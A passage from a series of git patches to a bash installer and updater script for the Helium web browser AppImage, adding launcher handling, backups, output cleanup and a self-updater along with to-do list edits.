From 7717c5932ccfe71479344fd657f6993ab20236a5 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Mon, 22 Dec 2025 19:37:03 +0100 Subject: [PATCH 001/106] Post merge changes --- helium_helper.sh | 4 ++-- todo.md | 10 ---------- 2 files changed, 2 insertions(+), 12 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 8eaaa59..70ea66a 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -343,11 +343,11 @@ help() { echo -e "\t-i\tDownload & install $APP_NAME_LONG from $SOURCE" echo -e "\t-L\tCreate desktop launcher" echo -e "\t-u\tDownload & update $APP_NAME_LONG from $SOURCE" - #echo -e "\t-U\tEnable automatic updates on login ${RED}--> Not yet working${CRS}" + echo -e "\t-U\tEnable automatic updates on login ${RED}--> Not yet working${CRS}" echo -e "\t-r\tRemove $APP_NAME_LONG" echo -e "\t-c\tCompare local to remote version" echo -e "\t-s\tShow script version" - #echo -e "\t-S\tUpdate script ${RED}--> Not yet working${CRS}" + echo -e "\t-S\tUpdate script ${RED}--> Not yet working${CRS}" echo -e "\t-h\tPrint this help page.\n" echo -e "Configured locations:\n" echo -e "\t${CYN}${INSTALL_PATH}${CRS}\t\tInstall location" diff --git a/todo.md b/todo.md index a4fb1dc..ddb71a1 100644 --- a/todo.md +++ b/todo.md @@ -1,15 +1,6 @@ # To Do List Helium installer ## Last Jobs -- Improved Version comparasing -- Clean up function added -- Remover function added -- Dummy functions added for: - - Auto Update - - Script update -- Dependency check fixed -- Launcher function works -- Remover extended - Readme updated @@ -20,7 +11,6 @@ - shell recognition - Script updater - Architecture detection -- Uninstaller --> Partially done - Set alias ## Repo From ebb5c25de6dd091ebebfa79b208860594130533b Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Tue, 23 Dec 2025 00:15:24 +0100 Subject: [PATCH 002/106] to do updated --- helium_helper.sh | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 70ea66a..1698998 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -135,8 +135,7 @@ add_launcher() { sed -i "s|%ICON_LOCATION%|$CONFIG_PATH/icon/helium.png|" $TMP/helium.desktop.template sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template mkdir -p $LAUNCHER_PATH $BACKUP_PATH $CONFIG_PATH/icon - cp $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop - mv $TMP/helium.desktop.template $BACKUP_PATH/$APP_NAME.desktop.backup + mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop mv $TMP/helium.png $CONFIG_PATH/icon echo -e "\n ${GRN}$APP_NAME_LONG launcher is set up!${CRS}\n" exit_clean @@ -184,7 +183,7 @@ update_helium() { echo -e "\n ${GRN}$APP_NAME_LONG is already up-to-date!${CRS}\n" elif [ "$GIT_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then - echo -e "\n ${RED}$APP_NAME_LONG is updatable!${CRS}\n" + echo -e "\n ${LCY}$APP_NAME_LONG is updatable!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" echo -e " ${CYN}$SOURCE Version :\t${CRS}${GIT_VERSION}\n" @@ -195,14 +194,17 @@ update_helium() { if [[ "$CONFIRM" == "" || "$CONFIRM" == "y" || "$CONFIRM" == "Y" ]] ; then GIT_URL=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') GIT_FILENAME=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') - mkdir -p $TMP + mkdir -p $TMP $BACKUP_PATH wget -P $TMP $GIT_URL -q --show-progress chmod +x $TMP/$GIT_FILENAME - if [ -f "$INSTALL_PATH/$APP_NAME.old" ] ; then - rm $INSTALL_PATH/$APP_NAME.old + if [ -f "$BACKUP_PATH/$APP_NAME.old" ] ; then + rm $BACKUP_PATH/$APP_NAME.old fi - mv $INSTALL_PATH/$APP_NAME.AppImage $INSTALL_PATH/$APP_NAME.old + mv $INSTALL_PATH/$APP_NAME.AppImage $BACKUP_PATH/$APP_NAME.old mv $TMP/$GIT_FILENAME $INSTALL_PATH/$APP_NAME.AppImage + cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old +################ HELP ################ + sed -i "s|X-AppImage-Version=.|X-AppImage-Version=$LOCAL_VERSION|" $LAUNCHER_PATH/$APP_NAME.desktop echo -e "\n ${GRN}$APP_NAME_LONG is up-to-date !${CRS}\n" break @@ -432,7 +434,7 @@ while getopts ":i,:L,:u,:U,:r,:c,:s,:S,:h" OPTION ; do exit;; *) - echo -e "\n${YEL}Option ${RED}-t${YEL} not recognized... Refer to help below!${CRS}" + echo -e "\n${YEL}Option ${RED}$1${YEL} not recognized... Refer to help below!${CRS}" help exit;; From 46b534fa480e13b3aea079e3473e09e76a93ca4c Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Tue, 23 Dec 2025 00:15:33 +0100 Subject: [PATCH 003/106] to do updated --- todo.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/todo.md b/todo.md index ddb71a1..8343156 100644 --- a/todo.md +++ b/todo.md @@ -2,11 +2,12 @@ ## Last Jobs - Readme updated - +- Desktop Entry updater +- Launcher has an update option now ## Add - Internet connectivity check in [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) -- Desktop entry updater [Helper Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_helper.sh) & [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) +- Desktop entry updater [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) - Auto update setup - shell recognition - Script updater @@ -20,6 +21,7 @@ - Remove comment from script ## Fix +- sed commad at launcher backup ## Notes From a36f13a742fda4fa4bbff7f93a3efc6d512ccd03 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Tue, 23 Dec 2025 00:54:23 +0100 Subject: [PATCH 004/106] Launcher updater added --- assets/launcher/helium.desktop.template | 5 ++++- helium_helper.sh | 5 ++--- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/assets/launcher/helium.desktop.template b/assets/launcher/helium.desktop.template index 22ea353..7334765 100644 --- a/assets/launcher/helium.desktop.template +++ b/assets/launcher/helium.desktop.template @@ -11,7 +11,7 @@ Icon=%ICON_LOCATION% Type=Application Categories=Network;WebBrowser; MimeType=application/pdf;application/rdf+xml;application/rss+xml;application/xhtml+xml;application/xhtml_xml;application/xml;image/gif;image/jpeg;image/png;image/webp;text/html;text/xml;x-scheme-handler/http;x-scheme-handler/https; -Actions=new-window;new-private-window; +Actions=new-window;new-private-window;update; X-AppImage-Version=%APP_VERSION% [Desktop Action new-window] @@ -22,3 +22,6 @@ Exec=%APP_LOCATION% Name=New Incognito Window Exec=%APP_LOCATION% --incognito +[Desktop Action update] +Name=Update Helium +Exec=%AUTO_UPDATE_SCRIPT% \ No newline at end of file diff --git a/helium_helper.sh b/helium_helper.sh index 1698998..1460acf 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -203,13 +203,12 @@ update_helium() { mv $INSTALL_PATH/$APP_NAME.AppImage $BACKUP_PATH/$APP_NAME.old mv $TMP/$GIT_FILENAME $INSTALL_PATH/$APP_NAME.AppImage cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old -################ HELP ################ - sed -i "s|X-AppImage-Version=.|X-AppImage-Version=$LOCAL_VERSION|" $LAUNCHER_PATH/$APP_NAME.desktop + sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop echo -e "\n ${GRN}$APP_NAME_LONG is up-to-date !${CRS}\n" break elif [[ "$CONFIRM" == "n" || "$CONFIRM" == "N" ]] ; then - echo -e "\n ${RED}Update cancelled!${CRS}\n" + echo -e " ${RED}Update cancelled!${CRS}\n" exit else From fe0546542fcf0f58aaa70a16b9c09e3cd4c5f50a Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Tue, 23 Dec 2025 11:55:03 +0100 Subject: [PATCH 005/106] Output cleanup --- helium_helper.sh | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 1460acf..ce849b8 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -103,7 +103,7 @@ install_helium() { exit_clean elif [[ "$CONFIRM_INSTALL" == "n" || "$CONFIRM_INSTALL" == "N" ]] ; then - echo -e "\n ${RED}Installation cancelled!${CRS}\n" + echo -e " ${RED}Cancelled!${CRS}\n" exit else @@ -126,8 +126,8 @@ add_launcher() { echo if [[ "$CONFIRM_LAUNCHER" == "" || "$CONFIRM_LAUNCHER" == "y" || "$CONFIRM_LAUNCHER" == "Y" ]] ; then - LAUNCHER_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/stable/assets/launcher/helium.desktop.template - ICON_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/stable/assets/icon/helium.png + LAUNCHER_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/assets/launcher/helium.desktop.template + ICON_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/assets/icon/helium.png LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') wget -P $TMP $LAUNCHER_URL -q --show-progress wget -P $TMP $ICON_URL -q --show-progress @@ -141,7 +141,7 @@ add_launcher() { exit_clean elif [[ "$CONFIRM_LAUNCHER" == "n" || "$CONFIRM_LAUNCHER" == "N" ]] ; then - echo -e "\n ${RED}Launcher creation cancelled!${CRS}\n" + echo -e " ${RED}Cancelled!${CRS}\n" exit else @@ -208,7 +208,7 @@ update_helium() { break elif [[ "$CONFIRM" == "n" || "$CONFIRM" == "N" ]] ; then - echo -e " ${RED}Update cancelled!${CRS}\n" + echo -e " ${RED}Cancelled!${CRS}\n" exit else @@ -256,7 +256,7 @@ remove_helium() { exit elif [[ "$CONFIRM_REMOVE" == "n" || "$CONFIRM_REMOVE" == "N" ]] ; then - echo -e "\n ${RED}Removal cancelled!${CRS}\n" + echo -e " ${RED}Cancelled!${CRS}\n" exit else @@ -374,7 +374,6 @@ while getopts ":i,:L,:u,:U,:r,:c,:s,:S,:h" OPTION ; do i) echo -e "\n ${YEL}Installing $APP_NAME_LONG...${CRS}" dependency_check - local_check install_helium exit_clean exit ;; From f56c1ac3ea5723cbfcd9555a95a010891df7992a Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Tue, 23 Dec 2025 17:47:06 +0100 Subject: [PATCH 006/106] Script updater added --- helium_helper.sh | 149 ++++++++++++++++++++++++++++++++--------------- test.sh | 1 + todo.md | 56 ++++++++++-------- 3 files changed, 134 insertions(+), 72 deletions(-) create mode 100644 test.sh diff --git a/helium_helper.sh b/helium_helper.sh index ce849b8..8fe2dc9 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -19,7 +19,7 @@ APP_NAME_LONG="Helium Web Browser" SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" -SCRIPT_VERSION="0.5.1" +SCRIPT_VERSION="0.1" DATE=$(date) ## LOCATIONS @@ -58,7 +58,6 @@ dependency_check () { MISSING=$(cat $TMP/missingDeps) echo -e "\n ${RED}Following dependencies are missing :\n\n${CRS}$MISSING\n\n ${CYN}Please install and re-run script !${CRS}" exit_clean - exit fi } @@ -98,13 +97,13 @@ install_helium() { chmod +x $TMP/$GIT_FILENAME mkdir -p $INSTALL_PATH mv $TMP/$GIT_FILENAME $INSTALL_PATH/$APP_NAME.AppImage - echo -e "\n ${GRN}$APP_NAME_LONG is installed!${CRS}\n" add_launcher - exit_clean + echo -e "\n ${GRN}$APP_NAME_LONG is installed!${CRS}\n" + break elif [[ "$CONFIRM_INSTALL" == "n" || "$CONFIRM_INSTALL" == "N" ]] ; then - echo -e " ${RED}Cancelled!${CRS}\n" - exit + echo -e " ${RED}Cancelled!${CRS}" + break else echo -e " ${YEL}Invalid response!${CRS}\n" @@ -114,14 +113,14 @@ install_helium() { done } -### LAUNCHER --> TO DO +### LAUNCHER add_launcher() { if [ -f "$LAUNCHER_PATH/$APP_NAME.desktop" ] ; then - echo -e "\n ${RED}${APP_NAME}.desktop already exists!${CRS}" - exit + echo -e "\n ${YEL}${APP_NAME}.desktop already exists!${CRS}" elif [ -f "$INSTALL_PATH/$APP_NAME.AppImage" ] ; then while true ; do + echo read -p " Add $APP_NAME_LONG launcher to $LAUNCHER_PATH? (Y/n) : " CONFIRM_LAUNCHER echo @@ -137,12 +136,12 @@ add_launcher() { mkdir -p $LAUNCHER_PATH $BACKUP_PATH $CONFIG_PATH/icon mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop mv $TMP/helium.png $CONFIG_PATH/icon - echo -e "\n ${GRN}$APP_NAME_LONG launcher is set up!${CRS}\n" - exit_clean + echo -e "\n ${GRN}$APP_NAME_LONG launcher is set up!${CRS}" + break elif [[ "$CONFIRM_LAUNCHER" == "n" || "$CONFIRM_LAUNCHER" == "N" ]] ; then - echo -e " ${RED}Cancelled!${CRS}\n" - exit + echo -e " ${RED}Launcher not added!${CRS}" + break else echo -e " ${YEL}Invalid response!${CRS}\n" @@ -208,7 +207,7 @@ update_helium() { break elif [[ "$CONFIRM" == "n" || "$CONFIRM" == "N" ]] ; then - echo -e " ${RED}Cancelled!${CRS}\n" + echo -e " ${RED}Cancelled!${CRS}" exit else @@ -237,7 +236,6 @@ auto_update() { else echo -e "\n ${RED}Not implemented yet...${CRS}" - exit fi } @@ -247,16 +245,18 @@ remove_helium() { if [ -d "$INSTALL_PATH" ] ; then while true ; do - read -p " Remove $APP_NAME_LONG folder $INSTALL_PATH? (Y/n) : " CONFIRM_REMOVE + read -p " Remove $APP_NAME_LONG incl. backups and launcher? (Y/n) : " CONFIRM_REMOVE if [[ "$CONFIRM_REMOVE" == "" || "$CONFIRM_REMOVE" == "y" || "$CONFIRM_REMOVE" == "Y" ]] ; then rm -rf $INSTALL_PATH - rm $LAUNCHER_PATH/$APP_NAME.desktop - echo -e "\n ${RED}$APP_NAME_LONG removed!${CRS}\n" + if [ -f "$LAUNCHER_PATH/$APP_NAME.desktop" ] ; then + rm $LAUNCHER_PATH/$APP_NAME.desktop + fi + echo -e "\n ${RED}$APP_NAME_LONG removed!${CRS}" exit elif [[ "$CONFIRM_REMOVE" == "n" || "$CONFIRM_REMOVE" == "N" ]] ; then - echo -e " ${RED}Cancelled!${CRS}\n" + echo -e " ${RED}Cancelled!${CRS}" exit else @@ -267,7 +267,7 @@ remove_helium() { done else - echo -e "\n ${RED}Can't remove $APP_NAME_LONG! ${YEL}$INSTALL_PATH ${RED}directory not found...${CRS}\n" + echo -e "\n ${RED}Can't remove $APP_NAME_LONG! ${YEL}$INSTALL_PATH ${RED}directory not found...${CRS}" exit fi @@ -275,22 +275,83 @@ remove_helium() { ### SCRIPT VERSION script_version() { - echo -e "\n ${CYN}$APP_NAME_LONG Helper Script Version : ${GRN}${SCRIPT_VERSION}${CRS}\n" + echo -e "\n ${CYN}$APP_NAME_LONG Helper Script Version :${CRS} $SCRIPT_VERSION\n" exit } ### UPDATE SCRIPT --> TO DO +remote_script_check() { + REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/helium_helper.sh + mkdir -p $TMP + wget -P $TMP $REMOTE_SCRIPT_URL -q + chmod +x $TMP/$SCRIPT_FILE_NAME +} update_script() { - if ! [ -f "$INSTALL_PATH/$APP_NAME.AppImage" ] ; then - echo -e "\n ${RED}$APP_NAME_LONG AppImage not found! Can't update script...${CRS}" - exit - - else - echo -e "\n ${RED}Not implemented yet...${CRS}" + remote_script_check + + ### CHECK FOR LOCAL SCRIPT + if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then + echo -e "\n ${RED}$SCRIPT_FILE_NAME not found! Can't update script...${CRS}" exit fi + + REMOTE_SCRIPT_VERSION=$($TMP/$SCRIPT_FILE_NAME -s | awk '{print $8}' | tr -d '\n' ) + + ### CHECK FOR EMPTY VERSION TAGS + if [ -z "$SCRIPT_VERSION" ] ; then + echo -e "\n ${RED}Empty version tag from ${CYN}local script${RED}! Can't compare, exiting...${CRS}" + exit + + elif [ -z "$REMOTE_SCRIPT_VERSION" ] ; then + echo -e "\n ${RED}Empty version tag from ${CYN}remote script${RED}! Can't compare, exiting...${CRS}" + exit + + fi + + ### COMPARE LOCAL & REMOTE VERSION + SCRIPT_VERSION_NUM=$(echo $SCRIPT_VERSION | tr -d .) + REMOTE_SCRIPT_VERSION_NUM=$(echo $REMOTE_SCRIPT_VERSION | tr -d .) + + if [ "$REMOTE_SCRIPT_VERSION" == "$SCRIPT_VERSION" ] ; then + echo -e "\n ${GRN}$SCRIPT_FILE_NAME is already up-to-date!${CRS}\n" + echo -e " ${CYN}Local Version :\t${CRS}${SCRIPT_VERSION}" + echo -e " ${CYN}Remote Version :\t${CRS}${REMOTE_SCRIPT_VERSION}\n" + + elif [ "$REMOTE_SCRIPT_VERSION_NUM" -gt "$SCRIPT_VERSION_NUM" ] ; then + echo -e "\n ${YEL}$SCIPT_FILE_NAME is updatable!${CRS}\n" + echo -e " ${CYN}Local Version :\t${CRS}${SCRIPT_VERSION}" + echo -e " ${CYN}Remote Version :\t${CRS}${REMOTE_SCRIPT_VERSION}\n" + + while true ; do + read -p " Update $SCRIPT_FILE_NAME? (Y/n) : " CONFIRM_SCRIPT_UPDATE + echo + + if [[ "$CONFIRM_SCRIPT_UPDATE" == "" || "$CONFIRM_SCRIPT_UPDATE" == "y" || "$CONFIRM_SCRIPT_UPDATE" == "Y" ]] ; then + mv $SCRIPT_PATH/$SCRIPT_FILE_NAME $BACKUP_PATH/$SCRIPT_FILE_NAME.old + mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH + echo -e "\n ${GRN}$SCRIPT_FILE_NAME is up-to-date!${CRS}" + break + + elif [[ "$CONFIRM_SCRIPT_UPDATE" == "n" || "$CONFIRM_SCRIPT_UPDATE" == "N" ]] ; then + echo -e " ${RED}Cancelled!${CRS}" + break + + else + echo -e " ${YEL}Invalid response!${CRS}\n" + + fi + + done + + else + echo -e "\n ${RED}Version tags malformed or you are using a Beta version!${CRS}\n" + echo -e " ${CYN}Local Version :\t${CRS}${SCRIPT_VERSION}" + echo -e " ${CYN}Remote Version :\t${CRS}${REMOTE_SCRIPT_VERSION}\n" + echo -e " ${RED}Updating script failed...${CRS}\n" + + fi } ### COMPARE APPIMAGE VERSION @@ -339,16 +400,17 @@ compare_version() { help() { echo -e "\n${LCY}${SCRIPT_NAME}${CRS}\n" echo -e "$APP_NAME_LONG installer & updater script\n" - echo -e "Syntax: $SCRIPT_FILE_NAME [ -i | -L | -u | -r | -c | -s | -h ]\n" # | -U | -S + echo -e "Syntax: $SCRIPT_FILE_NAME [ -i | -l | -u | -r | -c | -s | -h ]\n" # | -U | -S | -a | echo -e "Options:\n" echo -e "\t-i\tDownload & install $APP_NAME_LONG from $SOURCE" - echo -e "\t-L\tCreate desktop launcher" + echo -e "\t-l\tCreate desktop launcher" + echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME ${RED}--> Not yet working${CRS}" echo -e "\t-u\tDownload & update $APP_NAME_LONG from $SOURCE" echo -e "\t-U\tEnable automatic updates on login ${RED}--> Not yet working${CRS}" echo -e "\t-r\tRemove $APP_NAME_LONG" echo -e "\t-c\tCompare local to remote version" echo -e "\t-s\tShow script version" - echo -e "\t-S\tUpdate script ${RED}--> Not yet working${CRS}" + echo -e "\t-S\tUpdate $SCRIPT_FILE_NAME ${RED}--> Not yet working${CRS}" echo -e "\t-h\tPrint this help page.\n" echo -e "Configured locations:\n" echo -e "\t${CYN}${INSTALL_PATH}${CRS}\t\tInstall location" @@ -369,38 +431,34 @@ exit_clean() { ########## MAIN ########## ## GET OPTIONS -while getopts ":i,:L,:u,:U,:r,:c,:s,:S,:h" OPTION ; do +while getopts ":i,:l,:a,:u,:U,:r,:c,:s,:S,:h" OPTION ; do case $OPTION in i) echo -e "\n ${YEL}Installing $APP_NAME_LONG...${CRS}" dependency_check install_helium - exit_clean - exit ;; + exit_clean ;; - L) + l) echo -e "\n ${YEL}Adding $APP_NAME_LONG launcher...${CRS}" dependency_check local_check add_launcher - exit_clean - exit ;; + exit_clean ;; u) echo -e "\n ${YEL}Updating $APP_NAME_LONG...${CRS}" dependency_check local_check update_helium - exit_clean - exit ;; + exit_clean ;; U) echo -e "\n ${YEL}Enabling automatic updates...${CRS}" dependency_check local_check auto_update - exit_clean - exit ;; + exit_clean ;; r) echo -e "\n ${YEL}Removing $APP_NAME_LONG...${CRS}" @@ -412,8 +470,7 @@ while getopts ":i,:L,:u,:U,:r,:c,:s,:S,:h" OPTION ; do dependency_check local_check compare_version - exit_clean - exit ;; + exit_clean ;; s) script_version @@ -422,19 +479,17 @@ while getopts ":i,:L,:u,:U,:r,:c,:s,:S,:h" OPTION ; do S) echo -e "\n ${YEL}Updating script...${CRS}" dependency_check - local_check update_script - exit_clean - exit ;; + exit_clean ;; h) help - exit;; + exit ;; *) echo -e "\n${YEL}Option ${RED}$1${YEL} not recognized... Refer to help below!${CRS}" help - exit;; + exit ;; esac diff --git a/test.sh b/test.sh new file mode 100644 index 0000000..a9bf588 --- /dev/null +++ b/test.sh @@ -0,0 +1 @@ +#!/bin/bash diff --git a/todo.md b/todo.md index 8343156..5bc2c62 100644 --- a/todo.md +++ b/todo.md @@ -4,6 +4,8 @@ - Readme updated - Desktop Entry updater - Launcher has an update option now +- Launcher installer refined +- Clean Up ## Add - Internet connectivity check in [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) @@ -25,37 +27,41 @@ ## Notes +- Auto Update ```sh -############# TO DO - while true ; do - read -p " Enable automatic update check on login? (y/N) : " AUTO_UPDATE +while true ; do + read -p " Enable automatic update check on login? (y/N) : " AUTO_UPDATE - if [[ "$AUTO_UPDATE" == "" || "$AUTO_UPDATE" == "n" || "$AUTO_UPDATE" == "N" ]] ; then - break + if [[ "$AUTO_UPDATE" == "" || "$AUTO_UPDATE" == "n" || "$AUTO_UPDATE" == "N" ]] ; then + break - elif [[ "$AUTO_UPDATE" == "y" || "$AUTO_UPDATE" == "Y" ]] ; then - if ! [ -f "$PROFILE" ] ; then - echo -e "\n ${RED}Following file is missing :\n\n${YEL}$PROFILE\n\n ${CYN}Please investigate and re-run script !${CRS}" - exit 1 + elif [[ "$AUTO_UPDATE" == "y" || "$AUTO_UPDATE" == "Y" ]] ; then + if ! [ -f "$PROFILE" ] ; then + echo -e "\n ${RED}Following file is missing :\n\n${YEL}$PROFILE\n\n ${CYN}Please investigate and re-run script !${CRS}" + exit 1 - else - wget -P $TMP https://lab.c95.org/fr4nz/shell-scripts/src/branch/main/helium-browser/helium_auto_update.sh -q --show-progress - chmod +x $TMP/helium_auto_update.sh - mv $TMP/helium_auto_update.sh $INSTALL_PATH/helium_auto_update.sh - echo >> $PROFILE - echo "### HELIUM AUTO UPDATE ###" >> $PROFILE - echo "${INSTALL_PATH}/helium_auto_update.sh" >> $PROFILE - echo >> $PROFILE - echo -e "\n ${GRN}Automatic updates enabled ! ${CRS}\n" - break + else + wget -P $TMP https://lab.c95.org/fr4nz/shell-scripts/src/branch/main/helium-browser/helium_auto_update.sh -q --show-progress + chmod +x $TMP/helium_auto_update.sh + mv $TMP/helium_auto_update.sh $INSTALL_PATH/helium_auto_update.sh + echo >> $PROFILE + echo "### HELIUM AUTO UPDATE ###" >> $PROFILE + echo "${INSTALL_PATH}/helium_auto_update.sh" >> $PROFILE + echo >> $PROFILE + echo -e "\n ${GRN}Automatic updates enabled ! ${CRS}\n" + break - fi + fi - else - echo -e " ${YEL}Invalid response !${CRS}\n" + else + echo -e " ${YEL}Invalid response !${CRS}\n" - fi + fi - done -############# +done +``` + +- Script update +```sh +$SCRIPT_PATH/$SCRIPT_FILE_NAME -s | awk {'print $8'} ``` \ No newline at end of file From c00811622c47c5215e06377ebcaa0623d52bfb9d Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Tue, 23 Dec 2025 17:48:33 +0100 Subject: [PATCH 007/106] Typo fixed --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 8fe2dc9..c36469a 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -19,7 +19,7 @@ APP_NAME_LONG="Helium Web Browser" SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" -SCRIPT_VERSION="0.1" +SCRIPT_VERSION="0.5.1" DATE=$(date) ## LOCATIONS From b196c5104f70daa33cfd612bef3bb49cf6316087 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Tue, 23 Dec 2025 18:00:10 +0100 Subject: [PATCH 008/106] Script updater ready for testing --- helium_helper.sh | 10 ++++------ todo.md | 3 ++- 2 files changed, 6 insertions(+), 7 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index c36469a..42b36d6 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -19,7 +19,7 @@ APP_NAME_LONG="Helium Web Browser" SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" -SCRIPT_VERSION="0.5.1" +SCRIPT_VERSION="0.5.2" DATE=$(date) ## LOCATIONS @@ -316,11 +316,9 @@ update_script() { if [ "$REMOTE_SCRIPT_VERSION" == "$SCRIPT_VERSION" ] ; then echo -e "\n ${GRN}$SCRIPT_FILE_NAME is already up-to-date!${CRS}\n" - echo -e " ${CYN}Local Version :\t${CRS}${SCRIPT_VERSION}" - echo -e " ${CYN}Remote Version :\t${CRS}${REMOTE_SCRIPT_VERSION}\n" elif [ "$REMOTE_SCRIPT_VERSION_NUM" -gt "$SCRIPT_VERSION_NUM" ] ; then - echo -e "\n ${YEL}$SCIPT_FILE_NAME is updatable!${CRS}\n" + echo -e "\n ${YEL}$SCRIPT_FILE_NAME is updatable!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${SCRIPT_VERSION}" echo -e " ${CYN}Remote Version :\t${CRS}${REMOTE_SCRIPT_VERSION}\n" @@ -331,7 +329,7 @@ update_script() { if [[ "$CONFIRM_SCRIPT_UPDATE" == "" || "$CONFIRM_SCRIPT_UPDATE" == "y" || "$CONFIRM_SCRIPT_UPDATE" == "Y" ]] ; then mv $SCRIPT_PATH/$SCRIPT_FILE_NAME $BACKUP_PATH/$SCRIPT_FILE_NAME.old mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH - echo -e "\n ${GRN}$SCRIPT_FILE_NAME is up-to-date!${CRS}" + echo -e " ${GRN}$SCRIPT_FILE_NAME is up-to-date!${CRS}" break elif [[ "$CONFIRM_SCRIPT_UPDATE" == "n" || "$CONFIRM_SCRIPT_UPDATE" == "N" ]] ; then @@ -410,7 +408,7 @@ help() { echo -e "\t-r\tRemove $APP_NAME_LONG" echo -e "\t-c\tCompare local to remote version" echo -e "\t-s\tShow script version" - echo -e "\t-S\tUpdate $SCRIPT_FILE_NAME ${RED}--> Not yet working${CRS}" + echo -e "\t-S\tUpdate $SCRIPT_FILE_NAME" echo -e "\t-h\tPrint this help page.\n" echo -e "Configured locations:\n" echo -e "\t${CYN}${INSTALL_PATH}${CRS}\t\tInstall location" diff --git a/todo.md b/todo.md index 5bc2c62..fd434c3 100644 --- a/todo.md +++ b/todo.md @@ -6,15 +6,16 @@ - Launcher has an update option now - Launcher installer refined - Clean Up +- Script updater ## Add - Internet connectivity check in [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) - Desktop entry updater [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) - Auto update setup - shell recognition -- Script updater - Architecture detection - Set alias +- Roll back from backup ## Repo - Merge workflow From 0d99d8e32567e6f4b21ba75e6a392c80622c0bc9 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Tue, 23 Dec 2025 20:21:29 +0100 Subject: [PATCH 009/106] update --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 42b36d6..82550b5 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -280,7 +280,7 @@ script_version() { } -### UPDATE SCRIPT --> TO DO +### UPDATE SCRIPT remote_script_check() { REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/helium_helper.sh mkdir -p $TMP From d8392feac7c2059f8132d8e4bb96eaacc97f9b06 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Tue, 23 Dec 2025 23:07:17 +0100 Subject: [PATCH 010/106] Alias for zsh working --- helium_helper.sh | 100 +++++++++++++++++++++++++++++++++-------------- 1 file changed, 70 insertions(+), 30 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 82550b5..606790a 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -19,8 +19,8 @@ 